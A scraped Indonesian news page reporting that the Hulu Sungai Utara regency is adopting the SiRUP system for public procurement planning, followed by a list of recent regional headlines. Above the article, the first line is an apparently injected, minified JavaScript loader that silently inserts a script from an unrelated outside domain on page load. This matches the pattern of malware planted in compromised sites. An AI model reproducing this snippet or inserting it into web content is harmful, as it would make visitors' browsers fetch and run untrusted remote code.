(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Pemkab HSU Terapkan SiRUP dalam Pengadaan Barang dan Jasa


KANALKALIMANTAN.COM, AMUNTAI – Guna memudahkan masyarakat dalam mengakses proyek pengadaan barang/jasa, Pemkab Hulu Sungai Utara (HSU) menerapkan Sistem Informasi Rencana Umum Pengadaan (SiRUP) bagi setiap SKPD.

Hal itu seperti tergambar saat Unit Kerja Pengadaan Barang dan Jasa (UKPBJ) Kabupaten HSU melakukan monitoring penginputan aplikasi SiRUP di Dinas Komunikasi, Informatika dan Persandian (Diskominfosandi) Kabupaten HSU, Rabu (16/11/2022).

SiRUP atau Sistem Informasi Rencana Umum Pengadaan adalah aplikasi berbasis Web (Web Based) yang fungsinya sebagai sarana atau alat untuk mengumumkan rencana umum pengadaan (RUP).

Selain itu, SiRUP juga sebagai sarana layanan publik terkait RUP yang memudahkan masyarakat dalam mengakses secara langsung pengadaan barang/jasa secara Nasional.

 

Baca juga  : KHB Reboba Kalsel Deklarasikan Dukungan ke Anies di Pilpres 2024

Adapun RUP sendiri adalah kegiatan yang terdiri dari identifikasi kebutuhan barang/jasa yang diperlukan, penyusunan dan penetapan rencana penganggaran dengan penyusunan Kerangka Acuan Kerja (KAK).

Sesuai dengan pemberlakuan Perpres No 16 Tahun 2018 Tentang Pengadaan Barang/Jasa Pemerintah dan ditetapkannya Perubahan APBD tahun 2018, maka pada SIRUP terjadi perubahan pada proses penginputan pada aplikasi tersebut.

“Jadi kegiatan kita sosialisasi ke Instansi terkait dengan supervisi pengadaan barang jasa di tahun 2022. Kemudian, kendala kendalanya apa saja dalam proses penginputan, dan kita coba uraikan siapa tau kita bisa jadikan acuan untuk perbaikan ditahun 2022,” jelas Penelaah Kebijakan Pengadaan Barang dan Jasa, Wahid Lafi Naim, di sela kegiatan.

Secara peraturan, batas proses penginputan aplikasi SIRUP sampai dengan tanggal 31 Maret 2023, semua SKPD harus sudah terinput di aplikasi tersebut.

Baca juga  : Upaya Pencapaian Keterwakilan Perempuan di Parlemen, Kaukus Perempuan DPRD Kapuas Gelar Workshop

Lebih lanjut ia menegaskan kembali untuk petugas yang ditunjuk sebagai PIC SiRUP agar setidaknya bisa segera mengunjungi ke kantor UKPBJ Kabupaten HSU untuk bisa dibimbing dalam proses pengiputan aplikasinya.

“Ke depannya kami berharap pengadaan barang dan jasa ditahun 2023 ini bisa berjalan dengan lancar sesuai dengan aturan yang ada. Dan juga memberikan manfaat yang banyak kepada masyarakat terutama di Kabupaten HSU,”pungkasnya.(Kanalkalimantan.com/dew)

Reporter : dew
Editor : cell


Desy Arfianty

Recent Posts

Kasus Pencabutan SHM Transmigran Sepihak di Kotabaru, Kementrans Kirim Tim Investigasi

KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More

2 jam ago

Tempat Hiburan di Banjarbaru Wajib Tutup Selama Ramadan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More

2 jam ago

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

5 jam ago

BPBD Balangan Gelar Pelatihan TRC PB Tahap II di Batakan

KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More

5 jam ago

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

17 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

19 jam ago

This website uses cookies.